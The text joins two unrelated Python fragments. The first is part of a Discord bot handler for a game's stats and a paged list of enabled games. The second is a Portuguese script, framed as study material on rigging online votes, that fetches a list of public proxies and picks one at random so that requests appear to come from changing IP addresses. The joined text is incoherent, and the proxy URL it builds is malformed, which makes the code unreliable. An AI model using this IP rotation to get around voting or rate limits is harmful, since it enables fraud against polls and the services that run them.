                        game_stats = instance.game.state.get_game_stats(page_no = 1, server = server_obj)
                        await message.channel.send(embed = game_stats)
                    else:
                        continue
                    break

            if server_found == False:
                await message.channel.send('Server not found!')
            elif game_found == False:
                await message.channel.send('Warriors vs Soldiers is not enabled in this server!')
        else:
            await message.channel.send('Please specify a server ID to check!')

    elif message.content.startswith('~enabledgames'):
        page_no = 1
        servers = client.guilds
        games_embed, page_no = get_enabled_games(servers, page_no)
        games_msg = await message.channel.send(embed = games_embed)

        await games_msg.add_reaction('◀')
        await games_msg.add_reaction('▶')

        def reaction_check(reaction, user):
            return user != client.user and (reaction.emoji == '▶' or reaction.emoji == '◀') and (reaction.message.id == games_msg.id)

        while True:
            rxn, user = await client.wait_for('reaction_add', check = reaction_check)

            if rxn.emoji == '▶':
                page_no += 1
            elif rxn.emoji == '◀':
                page_no -= 1

            games_embed, page_no = get_enabled_games(servers, page_no)
            await games_msg.edit(embed=games_embed)
            await rxn.remove(user)
            await asyncio.sleep(0.1)


# -*- coding: utf-8 -*-

# Como funciona as burlações de votações online
# Material abaixo absorvido do curso Pythonicos, para estudos e conheicmento

import requests
import random
from pprint import pprint

def proxies(q,mode='json'):
	url = "http://proxy.tekbreak.com/%s/%s" %(q,mode)
	r = requests.get(url)

	# Escolho 1 dos n proxies. Passando o tamanho da minha lista no retorn r.json()
	x = random.randrange(0,len(r.json()))

	proxy = "%s://%s/%s" %(r.json()[x]["type"].lower(),r.json()[x]["ip"],r.json()[x]["port"])
	proxies = {r.json()[x]["type"].lower():proxy}
	return proxies

proxies = proxies(q=100)
# Passa um dicionário para o requests
r = requests.get("http://ipinfo.io",proxies=proxies)
pprint(r.content)